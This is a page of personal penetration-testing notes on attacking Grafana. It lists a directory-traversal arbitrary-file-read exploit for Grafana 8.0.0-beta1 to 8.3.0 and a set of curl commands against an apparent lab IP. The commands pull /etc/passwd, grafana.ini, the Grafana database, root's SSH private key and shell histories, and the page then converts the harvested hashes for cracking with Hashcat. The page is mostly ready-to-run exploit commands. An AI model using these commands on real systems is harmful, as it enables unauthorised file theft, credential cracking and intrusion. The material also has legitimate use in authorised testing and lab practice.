Programmerboy Pentesting Stuff
  • Welcome
  • Web Pentesting Stuff
    • Pentesting Port 80,443
      • FFUF Commands
      • Virtual Host Scanning
      • Javascript DeObfuscation
      • Pentesting JWT (JSON Web Tokens)
      • Pentesting Graphql
      • Pentesting Redis 6379
  • CMS Pentesting
    • Wordpress Pentesting
    • Jenkins
    • Grafana
  • Network Penetration Testing
    • Nmap Commands
    • 53 - Pentesting DNS
    • 88 - Pentesting Kerberos
    • 111 - Pentesting RPC
    • 389 - Pentesting LDAP
    • 445 - Pentesting SMB
    • 873 - Pentesting Rsync
    • 1433 - Pentesting MSSQL
    • 2049 - Pentesting NFS
    • 3389 Pentesting RDP
    • 3306 - Pentesting Mysql
    • 5000 - Pentesting Docker Registry
  • Active Directory Pentesting
    • Methodology
  • Password and Bruteforce Attacks
    • Hydra
    • Cewl
    • Making Custom Wordlists (Usernames)
    • JSON to txt Wordlist
  • Linux Privilege Escalation
    • Getting a Fully Interactive TTY Shell
    • Docker Container Escape
  • Windows Privilege Escalation
    • Tunneling and Pivoting
    • Methodology
  • Bug Bounty
    • Bug Bounty Methodology
    • XSS
    • SQL Injection
    • Command Injection
    • File Upload Pentesting
    • Local and Remote File Inclusion
    • Broken Authentication
    • Server Side Request Forgery (SSRF)
    • XML External Entity (XXE)
    • Server Side Template Injection (SSTI)
    • ReconFTW (six2dez)
    • JS Files
    • SignUp Page
  • CTFs
    • WEB
    • Regex Bypass
    • Grep & Regex & Find strings
  • Python Programs for Pentesting
    • Python Code Snippets
  • Certifications-Notes
    • CRTO & Cobalt Strike
  • Phishing and Real World Stuff
    • Email Spoofing
    • Attacking Office 365 & Exchange
  • Cloud Pentesting
    • Enumeration
Powered by GitBook
On this page
  • Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read
  • Grafana Conf File
  • Interesting LFI Files
  • Grafana2Hashcat
  1. CMS Pentesting

Grafana

PreviousJenkinsNextNmap Commands

Last updated 1 month ago

Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read

http://10.10.99.76:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Grafana Conf File

/etc/grafana/grafana.ini

Interesting LFI Files

curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../etc/passwd -o passwd
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../etc/grafana/grafana.ini -o grafana.ini
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../root/.ssh/id_rsa
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../root/.bash_history
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../home/grafana/.ssh/id_rsa
curl --path-as-is http://10.10.99.76:3000/public/plugins/mysql/../../../../../../../../home/grafana/.bash_history

Grafana2Hashcat

We can convert the hashes from graphana to hashcat using this tool

Hashes should be in this format

HASH,SALT

python3 grafana2hashcat.py grafana_hashes.txt -o output-hash.txt

LogoGitHub - iamaldi/grafana2hashcat: Python script that converts Grafana hash digests to PBKDF2_HMAC_SHA256 format in order to facilitate password cracking using Hashcat.GitHub